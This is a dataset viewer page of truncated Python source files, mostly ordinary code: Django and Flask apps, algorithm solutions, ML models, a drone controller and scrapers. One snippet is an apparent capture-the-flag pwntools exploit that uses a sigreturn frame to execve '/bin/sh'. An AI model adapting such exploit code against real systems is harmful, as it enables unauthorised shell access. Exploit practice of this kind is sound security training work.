text stringlengths 38 1.54M |
|---|
from django.conf import settings
from django.contrib.sites.shortcuts import get_current_site
from django.core.mail import EmailMultiAlternatives
from django.template import loader
from .apps import app_name
def send_mail(
subject_template_name,
email_template_name,
context,
from_email,
to_email,
... |
from django.apps import AppConfig
class PageViewsConfig(AppConfig):
name = "apps.page_views"
label = "page_views"
|
#!/usr/bin/env python
#Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies)
#This library is free software; you can redistribute it and/or
#modify it under the terms of the GNU Library General Public
#License as published by the Free Software Foundation; either
#version 2 of the License, or (at your optio... |
import math
import numpy as np
import scipy.integrate as si
from typing import Callable, List
import matplotlib.pyplot as plt
from agga.thomasAlg import thomasAlg
""" application solving parametrized differential equation
given as:
(a(x)u'(x))' + b(x)u'() + c(x)u(x) = f(x)
-a(0)u'(0) + beta*u(0) = gamma... |
import json
import yaml
import os
from flask import Blueprint, make_response, request, abort
from portality.core import app
from portality.bll import DOAJ
blueprint = Blueprint('tours', __name__)
@blueprint.route('/<content_id>', methods=['GET'])
def tour(content_id=None):
tourdir = os.path.join(app.config["BASE... |
class Solution:
def spiralOrder(self, matrix: List[List[int]]) -> List[int]:
if len(matrix) == 0:
return list()
row = len(matrix)
column = len(matrix[0])
linear_matrix = [0] * (row * column)
idx , left, right, up, down, direction = 0, 0,... |
#####################################################################
# File: IAR_task4.py
# Date last edited: 07.11.2016
# Intelligent Autonomous Robotics Task 4
# Stefanos Loizou (s1217795) and Clara Tump (s1679058)
#####################################################################
# The robot explores a maze (wit... |
#!/usr/bin/python3
from pwn import *
context.clear(arch="amd64")
POP_RAX_RET = 0x4001b5
SYSCALL = 0x4001b1
PADDING = 208
SYS_EXECVE = 0x3b
RT_SIGRETURN = 0xf
DATA_ADDR = 0x6001cc
CMD = b"/bin/sh\x00"
frame = SigreturnFrame()
frame.rax = SYS_EXECVE
frame.rdi = DATA_ADDR
frame.rsi = 0
frame.rd... |
# Generated by Django 3.1.6 on 2021-03-31 21:16
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('website', '0004_auto_20210331_2112'),
]
operations = [
migrations.AlterField(
model_name='quintile',
name='quintile'... |
"""Flask factory testing."""
from flaskr import create_app
def test_config():
"""Configuration testing."""
assert not create_app().testing
assert create_app({'TESTING': True}).testing
def test_hello(client):
"""Test /hello url."""
response = client.get('/hello')
assert response.data == b'He... |
import zmq
import threading
import json
# 控制端 端口(5550):
# 1. 设置 班级
# 2. 向班级内发送信息
# 3. 指定人选发送信息
'''
第一次验证Json:
{
'src': 'verify',
'verify': 'signal'
}
获取分配的id, 如果没有id或着id为0, 则异常, 视为连接失败.
发送信息Json:
{
'src': 'message'
... |
'''
LabelFrame 就是 Groupbox.py
'''
import tkinter as tk
# 建立主視窗
window = tk.Tk()
# 設定主視窗大小
w = 800
h = 800
x_st = 100
y_st = 100
#size = str(w)+'x'+str(h)
#size = str(w)+'x'+str(h)+'+'+str(x_st)+'+'+str(y_st)
#window.geometry(size)
window.geometry("{0:d}x{1:d}+{2:d}+{3:d}".format(w, h, x_st, y_st))
#print("{0:d}x{1:... |
# -*- coding: utf-8 -*-
"""Test create_dir function."""
from unittest.mock import patch
import pytest
from fundosbr.fundosbrlib import create_dir
dir_name = "mydirtest"
@patch("os.makedirs", autospec=True)
@patch("os.path.exists", autospec=True)
def test_create_dir(mock_exists, mock_makedirs):
"""Test directory... |
from globals.types import Point
import globals
import ui
import drawing
import os
import game_view
import random
class Directions:
UP = 0
DOWN = 1
RIGHT = 2
LEFT = 3
class Actor(object):
texture = None
width = None
height = None
sounds = None
def __init__(self,map,pos):
... |
class Solution:
def __init__(self, radius: float, x_center: float, y_center: float):
self.radius = radius
self.x_center = x_center
self.y_center = y_center
def randPoint(self) -> List[float]:
return self.solveByDistribution()
def solveByRejectionSampling(self) ->... |
import pygame as pg
import const
from space_time import SpaceTime
class Player:
"""Any of the players (past, present, and future)."""
def __init__(self, player_num, time, start_pos, finish_time=None):
self._player_num = player_num
self._pos = start_pos#pg.math.Vector2(300, 300)# Arbitrary start... |
import re
str1=input('Enter any string:')
print('You have entered \''+str1+"\' String")
s1 = "#Hello Abhilash Sharma is a good boy @viratkohli "
s2 = "Abhi"
#print(len(s1))
#for i in s1:
# print(i)
print(s1[0])
s2 = s1.find(s2)
print(s2)
n = int(input())
for i in range(1,n+1):
print(i,end="")
s3 = re.sub('[#@... |
# Who is requesting this SP?
requestor = "Jose Benitez"
# What are the SP releases for which this will be generated?
# There are only certain allowed values, so let's look at each one.
# Note that multiple entries are allowed.
# SP8 - Run 1-5. Events will be processed with R18, and then reprocessed such
# tha... |
def persistant_queries(request):
"""
Intercepts HttpRequests in order to add relevant data to the template
context (mostly used for accessing global settings variables). Also, for any of
the map requests (/print/', '/maps/', '/ebays/', '/viewer/',
'/map-images/update-record/), this function also ad... |
# -*- coding: utf-8 -*-
"""
Created on Sat May 16 14:29:57 2020
@author: Sudharsan Prabhu
"""
import numpy as np
import h5py
import matplotlib.pyplot as plot
import imageio
from PIL import Image
numPx=0
def load_dataset():
train_dataset = h5py.File('train_catvnoncat.h5', "r")
train_set_x_orig = np.arr... |
# -*- coding: utf-8 -*-
import config,nodeast
from utils import CmpMember,py_sorted
import intellisence
import noval.util.utils as logger_utils
class Scope(object):
def __init__(self,line_start,line_end,parent=None):
self._line_start = line_start
self._line_end = line_end
self._parent = par... |
from django.shortcuts import render
from django.http import HttpResponse
from django.core.context_processors import csrf
from datetime import datetime
import json
from models import DayAndUser
from models import Message
from models import UserFeedback
from google.appengine.ext import ndb
from google.appengine.api ... |
from setuptools import setup, find_packages
setup(
name = 'NSAF',
version = '0.0.3',
keywords='nsaf neuroscience atlas brain',
description = 'A python lib non-standard atlas format',
license = 'MIT License',
url = 'https://github.com/ezPsycho/NSAF.py',
author = 'Losses',
author_email = ... |
def reverse_words_order_and_swap_cases(sentence):
word = []
reversed_list = []
word = sentence.split()
reversed_list = word[::-1]
reversed_sentence = " ".join(reversed_list)
return reversed_sentence.swapcase()
if __name__ == '__main__':
fptr = open(os.environ['OUTPUT_PATH'], 'w')
sent... |
from django.contrib.auth import get_user_model
from django.core.exceptions import ValidationError
from django.test import TestCase, override_settings
from django.urls import reverse
from swapper import load_model
from .utils import TestOrganizationMixin
Organization = load_model('openwisp_users', 'Organization')
Orga... |
# -*- coding: utf-8 -*-
'''
工具包:图表绘制函数
'''
import matplotlib
import matplotlib.pyplot as plt
import numpy as np
import pdb
import os
from pyecharts import Pie
from pyecharts_snapshot.main import make_a_snapshot
class FigureHelper:
def __init__(self, nfigsize):
# 保存当前工作目录
self.cwd = os.getcwd... |
#!/usr/bin/env python
import os
import sys
from asshai.settings import BASE_DIR, INSTALLED_APPS
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "asshai.settings")
try:
from django.core.management import execute_from_command_line
except ImportError:
# The above im... |
import io
import os
import subprocess
class Result(object):
def __init__(self, success, stdout, stderr):
self.success = success
self.stdout = stdout
self.stderr = stderr
class Process(object):
cwdpath = os.path.join(os.path.dirname(__file__), '..', '..')
@classmethod
def run(self, cmd):
proc ... |
class MalformedByteCodeError(Exception):
pass
class ByteCodeReader:
def __init__(self, bc):
self.bc = bc
self.index = 0
def read_op(self):
if self.index >= len(self.bc):
return None
op = self.bc[self.index]
self.index += 1
return op
def exp... |
import os
import tensorflow as tf
from PIL import Image
from tqdm import tqdm
from sklearn.model_selection import train_test_split
from TFAnnotation import TFAnnotation
if not os.path.exists('output/records'):
os.makedirs('output/records')
if not os.path.exists('experiment'):
os.makedirs('experimen... |
from thewind.models import Account
from thewind.models import Article
from thewind.models import ArticleDetail
from thewind.models import Book
from thewind.models import Link
from thewind.models import Motto
from thewind.models import MottoDetail
from thewind.models import Tag
from thewind.models import Categor... |
import base64
import io
import dash
from dash.dependencies import Input, Output, State
import dash_html_components as html
import dash_table
import pandas as pd
import CleaningProcess as dmproject
import dash_core_components as dcc
import plotly.graph_objs as go
external_stylesheets = ['https://codepen.io/chriddyp/pen... |
from django.db import models
from LogAndReg.models import User
# Create your models here.
class manger(models.Manager):
def Book_valdate(self , postData):
errors = {}
if len(postData['title'])==0:
errors['title'] = 'Title is Required'
if len(postData['descrption'])<5:
... |
# -*- coding: utf-8 -*-
import scrapy
class JobSpider(scrapy.Spider):
name = 'job' # 爬虫名称
allowed_domains = ['51job.com'] # 只在这个网站下抓取数据
start_urls = ['https://search.51job.com/list/040000,000000,0000,00,9,99,Python,2,1.html'] # 开始抓取数据链接
def parse(self, response):
"""
:response 网站返回... |
## This script run the standalone model (that depends on gamma) and compare it with the sharing solution
investment_standalone = solve_standalone(gen_per_m2, load_kw, dataids, a_max_firms, pi_s, pi_r, pi_nm)
aux = (np.sum(sol_sharing) - np.sum(investment_standalone))/np.sum(investment_standalone)
|
import time
import sys
import tellopy
import keyboard
import pygame
import cv2
import numpy
import av
import threading
import traceback
from simple_pid import PID
import tensorflow as tf
import argparse
import posenet
parser = argparse.ArgumentParser()
parser.add_argument('--model', type=int, default=101)
parser.add_... |
#!/usr/bin/env python
# Copyright 2020 The Cobalt Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless r... |
import autograd.numpy as np
import re
from anytree import NodeMixin, RenderTree
from functions import Logistic, Identity
from utils import tokens_substr
from value import TetValue
from autograd import grad
from computational import ComputationalNode
class RnnTet(NodeMixin):
"""
A node in the RnnTet.
Args... |
#name = raw_input('What is your name? ')
#print('Hi '+name)
#name=raw_input('what is your name?')
age=raw_input('How old are you?')
dog_years = int(age)*7
print('You are '+ str(dog_years)+' old in dog years.') |
#!/usr/bin/env python2
dp = [map((lambda x: int(x)), line.split(' ')) for line in open("input").readlines()]
n = len(dp)
for i in range(1, n):
dp[i][0] += dp[i - 1][0]
dp[i][i] += dp[i - 1][i - 1]
for j in range(1, i):
dp[i][j] += max(dp[i - 1][j - 1], dp[i - 1][j])
print max(dp[n - 1])
|
from setting import social_distancing_config as config
from setting.detection import detect_people
from scipy.spatial import distance as dist
import numpy as np
import imutils
import cv2
import os
from tkinter import *
import tkinter as tk
# import filedialog module
from tkinter import filedialog
app = Tk()
app.titl... |
from rest_framework import viewsets
from . import models, serializers
class DirectionsViewSet(viewsets.ModelViewSet):
queryset = models.Direction.objects.all().order_by('-id')
serializer_class = serializers.DirectionSerializer
class CoursesViewSet(viewsets.ModelViewSet):
queryset = models.Cour... |
from concurrent import futures
import os
import time
import sys
import requests
MAX_WORKERS = 20
POP20_CC = ('CN IN US ID BR PK NG BD RU JP '
'MX PH VN ET EG DE IR TR CD FR').split() # <2>
BASE_URL = 'http://flupy.org/data/flags' # <3>
DEST_DIR = 'downloads/' # <4>
def save_flag(img, filename): #... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import json
from alipay.aop.api.response.AlipayResponse import AlipayResponse
class AlipayEcoMycarCarmodelQueryResponse(AlipayResponse):
def __init__(self):
super(AlipayEcoMycarCarmodelQueryResponse, self).__init__()
self._background_url = None
... |
# coding: utf-8
import datetime
from django.core.urlresolvers import reverse
from django.utils.feedgenerator import Atom1Feed
from dext.views import handler, validate_argument
from dext.common.utils.urls import UrlBuilder, url
from the_tale.common.utils.resources import Resource
from the_tale.common.utils.pagination... |
'''
实现一个Property装饰器,可以把方法装饰成同一个属性名
'''
class MyProperty:
def __init__(self, fget=None, fset=None, fdel=None):
self.fget = fget
self.fset = fset
self.fdel = fdel
def __get__(self, instance, owner):
return self.fget(instance)
def setter(self, fn):
self.fset = fn
... |
import pprint
import json
import glob
import csv
import time
#to run:
#from get_device_ip_csv import *
#for i in list_of_files:
#gethn(i)
timestr = time.strftime("%Y-%m-%d-%H%M")
list_of_files = glob.glob('*.config')
def check_ip(str):
#Check that text after string 'ip-address' is formatted like an ip address
... |
class Parameters(object):
TOLERABLE_TIME_DIFFERENCE_IN_SECONDS = 420
class MessageTypes(object):
INVITE = 0
REGISTRATION = 1
ASSERTION = 2
ATTESTATION = 3
SERVICE = 4
DELEGATION = 5
class BodyTypes(object):
"""Body Types enum container class"""
class System(object):
"""... |
import tkinter
from tkinter import *
#Colors
color1="gray"
color2="black"
color3="white"
#Root
master=Tk()
master.minsize(1350, 730)
#Importing Icons and Button.
fb_icon=PhotoImage(file="flat\\facebook.png")
pinterest_icon=PhotoImage(file="flat\\pinterest.png")
instagram_icon=PhotoImage(file="flat... |
import numpy as np
__all__ = ['fechet_dist']
def _c(ca, i, j, p, q):
if ca[i, j] > -1:
return ca[i, j]
elif i == 0 and j == 0:
ca[i, j] = np.linalg.norm(p[i]-q[j])
elif i > 0 and j == 0:
ca[i, j] = max(_c(ca, i-1, 0, p, q), np.linalg.norm(p[i]-q[j]))
elif i == 0 and j > 0:... |
# -*- coding: utf-8 -*-
"""
pyxdevkit
~~~~~~~~~~~~~~~~~~~~~
pyxdevkit is a library that tries to mimic xdevkit functionality in python.
Usage:
>>> import pyxdevkit
more later on...
:copyright: (c) 2014 by T.J. Corley.
:license: MIT, see LICENSE for more details.
"""
__title__ = 'pyxdevkit'
__version__ = '0.1dev... |
from cuser.fields import CurrentUserField
from django.contrib import admin
from django.contrib.auth.models import User
from django.db import models
from django.db.models.signals import post_save
from django.dispatch import receiver
from oauth2client.contrib.django_util.models import CredentialsField
from django.contrib... |
'''
Algorithm
---------
Repeat:
if string start with + then find the occurence of next -. Then flip the
the string before that -
if string start with - then find the occurence of next +. Then flip the
the string before that +
'''
def flip(pos):
global cakes
for i in range(pos+1):
... |
from django.apps import AppConfig
class BulletinBoardConfig(AppConfig):
name = 'bulletin_board'
|
from flask import (
Blueprint, flash, g, redirect, render_template, request, session, url_for
)
from werkzeug.exceptions import abort
from zoomdora.auth import login_required
from zoomdora.db import get_db
bp = Blueprint('user_settings', __name__, url_prefix='/settings', static_folder='static',
... |
def euclid_gcd(a, b):
while b != 0:
a, b = b, a % b
return a
def triangles_at_p_or_q(x, y):
gcd = euclid_gcd(x, y)
new_x, new_y = x / gcd, y / gcd
return min(int(y / new_x),
int((50 - x) / new_y))
if __name__ == '__main__':
num_at_origin = 2500
trivial_cases_for_on... |
#!/usr/bin/python
#!/usr/bin/env python
#coding:utf-8
#name = raw_input('Please enter your name: \n')
#print 'Welcome : %s !' % name
#name = ''
#while not name:
# name = raw_input('Please enter your name: \n')
#
# print 'Welcome : %s!' % name
#a = 0
#b = 20
#while a < b - 1:
# a += 1
# print a
#l = ... |
k = int(input())
a = list(map(int,input().strip().split()))[:12]
sum = 0
count = 0
if k == 0:
print(0)
exit(0)
for el in sorted(a)[::-1]:
sum +=el
count +=1
if sum >= k:
break
if sum < k:
print(-1)
else:
print(count) |
#!/usr/bin/env pyhton3
# ^3^ coding=utf8
#
# author: superzyx
# date: 2019/08/26
# usage: connect mysql
import pymysql
import time
import subprocess
def save_info(cpuinfo, memoryinfo, diskinfo):
client = pymysql.connect(
host='192.168.161.34',
port=3306,
user='superzyx',
password=... |
#!/usr/bin/env python
# Generative Adversarial Networks (GAN) example in PyTorch.
# See related blog post at https://medium.com/@devnag/generative-adversarial-networks-gans-in-50-lines-of-code-pytorch-e81b79659e3f#.sch4xgsa9
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
import t... |
import django_filters
from graphql import GraphQLError
from graphene import relay, AbstractType, String, Field, Int
from graphene.types.datetime import DateTime
from graphene.types.json import JSONString
from graphene_django import DjangoObjectType
from graphene_django.filter import DjangoFilterConnectionField
from dja... |
#!/usr/bin/env python3
"""
Given two integer arrays arr1[] and arr2[] sorted in ascending order and an integer k. Find k pairs with smallest sums such that one element of a pair belongs to arr1[] and other element belongs to arr2[]
Examples:
Input : arr1[] = {1, 7, 11}
arr2[] = {2, 4, 6}
k = 3
Outp... |
class Employee:
company = "google"
code = 111
def getInfo(self):
print("This is employee")
class Freelancer:
company = "Microsoft"
level = 0
def getInfo(self):
print("This is Freelancer")
def UpgradeLevel(self):
self.level = self.level + 1
class Programmer(Employ... |
#!/usr/local/bin/python3
# coding: UTF-8
# Author: David
# Email: youchen.du@gmail.com
# Created: 2017-05-04 15:51
# Last modified: 2017-05-04 16:08
# Filename: utils.py
# Description:
import time
import json
import functools
LAST_CHECKED = None
IS_UNDER_MAINTENANCE = False
def is_under_maintenance(conn):
globa... |
from bs4 import BeautifulSoup
with open("domains_summary.cgi") as fp:
soup = BeautifulSoup(fp, "lxml")
table = soup.find("table", attrs={"tablesorter table_results"})
headings = [th.get_text().strip() for th in table.find("tr").find_all("th")]
print(*headings)
datasets = []
for row in table.find_all("tr")[1:]:
... |
import tornado.httpserver
import tornado.ioloop
import tornado.options
import tornado.web
from dao import ud
from dao import ui
from dao import ad
class logoutHandler(tornado.web.RequestHandler):
"""docstring for logoutHandler"""
def get(self):
self.clear_cookie('stuID')
self.redirect('/')
... |
#!/usr/bin/python
__author__ = 'ar'
import cv2
import numpy as np
import os
import sys
import matplotlib.pyplot as plt
import pickle as pik
import libfp as fp
import libphcorr as ph
# fvideo='/home/ar/video/UAV_PHONE/part_2/vid0_2to1.mp4_proc/idx.csv'
# fvideo='/home/ar/video/UAV_PHONE/part_2/vid0_1to2.mp4_proc/id... |
from collections import Counter
from dataset_specific.msmarco.passage.passage_resource_loader import tsv_iter
from list_lib import index_by_fn
from misc_lib import group_by, get_first
from tab_print import tab_print_dict
from trainer_v2.per_project.transparency.mmp.term_effect_rankwise.path_helper import term_align_ca... |
from csv import DictReader, DictWriter
from io import StringIO
import functools
import tempfile
import os
# helper to map from column names in the CSV dump to the schema
dumpNameMapping = {
'_id': 'mongo_id',
'admin': 'admin',
'profile.adult': 'adult',
'status.completedProfile': 'completed',
'statu... |
import json
import csv
import sys
def convert(f):
reader = csv.reader(open(f))
ata2s = {}
chapters = []
for row in reader:
if int(row[0]) not in ata2s:
ata2s[int(row[0])] = {
'ata2': int(row[0]),
'chapter_name': row[2],
'subchapters': []
}
ata2s[int(row[0])]['subc... |
"""Helpful nixpkgs PR bot with an improved Genuine People Personality"""
from setuptools import setup
setup(
name="marvin",
# No point in cutting releases here.
version="rolling",
description="Helpful nixpkgs PR bot with an improved Genuine People Personality",
author="Timo Kaufmann",
packages... |
from django_filters import FilterSet, CharFilter, ModelChoiceFilter
from .models import Post, Category
class PostFilter(FilterSet):
title = CharFilter(
label='關鍵字', field_name='title', lookup_expr='icontains')
category = ModelChoiceFilter(
label='類別', field_name='category', queryset=Category.o... |
import sys
import markdown
import os
class HighLightPost(markdown.postprocessors.Postprocessor):
def run(self, text):
header = '''
<link rel="stylesheet" href="%s/bin/highlight.js/styles/default.css">
<script type="text/javascript" src="%s/bin/highlight.js/highlight.pack.js"></script>
<script type="text/ja... |
import cv2
from keras.layers.core import Dense
from keras.models import Model
from keras.optimizers import Adam
from keras.layers import concatenate
from lib import datasets, models
import numpy as np
import os
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import Mi... |
from django.contrib import admin
from .models import Hh_vacancy, Vacancy, Responsibility, Vendors_technologies, Vendors_technologies_link, Post, Basic
admin.site.register(Hh_vacancy)
admin.site.register(Vacancy)
admin.site.register(Responsibility)
admin.site.register(Vendors_technologies)
admin.site.register(Vendors_t... |
import numpy as np
n, m = map(int,input().split())
connection = np.zeros([n,n], dtype = bool)
# output = []
for j in range(m):
city1, city2 = map(int,input().split())
connection[city1 -1, city2 -1] = True
connection[city2 -1, city1 -1] = True
degrees = connection.sum(dtype = int, axis = 0)
# print("degrees:")... |
"""
Some general-purpose tag functions that define the semantics for tags.
"""
# Application tags can be defined by inheriting from Tag and defining a __call__ method.
from sqlalchemy import func, and_, or_, not_
class Tag(object):
def __init__(self, tag):
self.tag = tag
class All(Tag):
... |
# Generated by Django 3.2.2 on 2021-05-11 16:47
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('core', '0017_merge_20210326_1240'),
('core', '0020_auto_20210510_2209'),
]
operations = [
]
|
"""
CS506 : BuildRoutes
Team : Vidya Akavoor, Lauren DiSalvo, Sreeja Keesara
Description :
Notes :
November 10, 2018
"""
import pandas as pd
from datetime import datetime, timedelta
import googlemaps
import os
def create_routes(filename, school):
df = pd.read_excel(filename)
df.columns = ['school', 'grade... |
import tensorflow as tf
import numpy as np
from keras.models import Sequential, Model
from keras.layers import Dense, LSTM, Dropout, Input, Flatten, GRU
#from recurrent import LSTM, GRU
from keras.optimizers import adam, rmsprop
from tqdm import tqdm
#
# def get_state_variables(batch_size, cell):
# # For each la... |
# -*- coding:utf-8 -*-
# -*- created by: yongzhuo -*-
import requests
from lxml import etree
def txtRead(filePath, encodeType = 'utf-8'):
'''读取txt文件'''
listLine = []
try:
file = open(filePath, 'r', encoding= encodeType)
while True:
line = file.readline()
... |
# see https://www.codewars.com/kata/5bc027fccd4ec86c840000b7/solutions
from TestFunction import Test
import time
def solve(n):
if n%2 == 0:
a, b = n//2, n//2
else:
a, b = n//2, n//2 + 1
max_sum = 0
count = 0
while a >= 0:
if a + b == n:
_sum = sum([int(digit) for digit in str(a)]) + sum([i... |
import drizzle as drizzle
import tinytim_change_header as tt_flt
import ipdb as pdb
import glob as glob
import numpy as np
from subprocess import call
import os as os
import numpy as np
import pyfits as fits
def tinytim_drizzle( cluster, combine_type='iminmed', output=None,
drizzle_kernel='squ... |
#!/usr/bin/env python
# coding=utf-8
import os
import sys
import oss2
import time
from sys import argv
prefix = '' if len(argv) < 2 else argv[1]
delimiter = '/' if len(argv) < 3 else argv[2]
# oss config
access_key_id = os.getenv('OSS_ACCESS_KEY_ID', '<AccessKeyId>')
access_key_secret = os.getenv('OSS_ACCESS_KEY_SEC... |
# Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... |
#!/afs/crc.nd.edu/x86_64_linux/t/tensorflow/1.6/gcc/python3/build/bin/python3
#An lstm sequential model built in Keras
#https://blog.keras.io/a-ten-minute-introduction-to-sequence-to-sequence-learning-in-keras.html
#https://stackoverflow.com/questions/33266956/nltk-package-to-estimate-the-unigram-perplexity
#https://... |
"""Contains functions for manipulating Cartesian coordinates."""
from math import radians, sin, cos
from matrices.checks import are_numeric, is_numeric
from matrices import create_vertex, Matrix
def accept_objects(func):
"""This decorator can be applied to functions whose first argument is a list
of x, y, z p... |
import logging
from django.shortcuts import get_object_or_404
from django_filters import rest_framework as rest_filter
from rest_framework import filters
from rest_framework import generics
from rest_framework import pagination
from rest_framework import permissions
from userdetail.models import User
from .models imp... |
from math import *
def gettext(a,b,c):
return "Given the quadratic \("+str(a)+"x^2+"+str(b)+"x+"+str(c)+"=0\), what is the value of \(x\)?"
def getanswer(a,b,c):
return {(-b+sqrt(b**2-4*a*c))/(2*a),(-b-sqrt(b**2-4*a*c))/(2*a)}
|
# Generated by Django 3.1 on 2020-12-30 13:37
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('auctions', '0010_listing_highest_bid'),
]
operations = [
migrations.RemoveField(
model_name='list... |
import os
import time
import json
class SchoolObject():
def __init__(self):
pass
def setName(self,name):
self.name = name
def setAttr(self,attrObject):
for key, value in attrObject.items():
self.__setattr__(key,value)
def setOfsted(self,date,grade,report):
... |
from collections import deque
import directed
class vertex:
def __init__(self, mark, val=None):
self.mark = mark
self.val = val
self.edges = {}
self.isVisited = False
def __getitem__(self, adjVertexMark):
return self.edges[adjVertexMark]
def __delitem__(self, k):
... |
# Import distributed environment
# from exaqute.ExaquteTaskPyCOMPSs import * # to execute with runcompss
# from exaqute.ExaquteTaskHyperLoom import * # to execute with the IT4 scheduler
from exaqute.ExaquteTaskLocal import * # to execute with python3 |
import os
from xml.dom.minidom import parseString
from kodi_six import xbmc, xbmcplugin
from slyguy import plugin, gui, userdata, signals, inputstream, settings
from slyguy.session import Session
from slyguy.util import cenc_init
from slyguy.constants import ADDON_PROFILE
from .api import API
from .constants import *... |
from flask import Flask, render_template,jsonify
from pyecharts import options as opts
from pyecharts.charts import Map
from pyecharts.charts import Line
from pyecharts.globals import ChartType, SymbolType
from pyecharts.globals import ThemeType
from pyecharts.components import Table
from pyecharts.options imp... |
import json
import os
import sqlite3
import unittest
import crypto
import models
import utils
from controllers import Controller
from message import Message
class ProtonTestCase(unittest.TestCase):
def setUp(self) -> None:
self.db_name = "test.db"
with open("requests.json", "r") as file:
... |
from pymatgen.core.structure import IStructure,Structure
from pymatgen.analysis.bond_valence import BVAnalyzer
from pymatgen.analysis.defects.point_defects import ValenceIonicRadiusEvaluator#,VoronoiNN
from pymatgen.analysis.structure_analyzer import VoronoiCoordFinder,JMolCoordFinder,VoronoiAnalyzer,RelaxationAnalyzer... |
# Generated by Django 3.0.6 on 2020-09-13 20:47
from django.db import migrations, models
import django.utils.timezone
import multiselectfield.db.fields
class Migration(migrations.Migration):
dependencies = [
('base', '0007_headerpost1_headerpost2'),
]
operations = [
migrations.CreateMod... |
from app1.models import *
from app1.util.utils import *
def delInventory(request):
'''
http://127.0.0.1:8000/app6/delInventory?ino=001
'''
try:
if(request.method=='POST'):
resdata = json.loads(request.body)
data = resdata["data"]
inid = data['ino']
... |
#!/usr/bin/env python2.7
"""
Description: RunLocator is the main application it contains the wx.GUI
and all event handlers to interface with the user
Created on Mar 17, 2015
@author: Philip Wiliammee
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.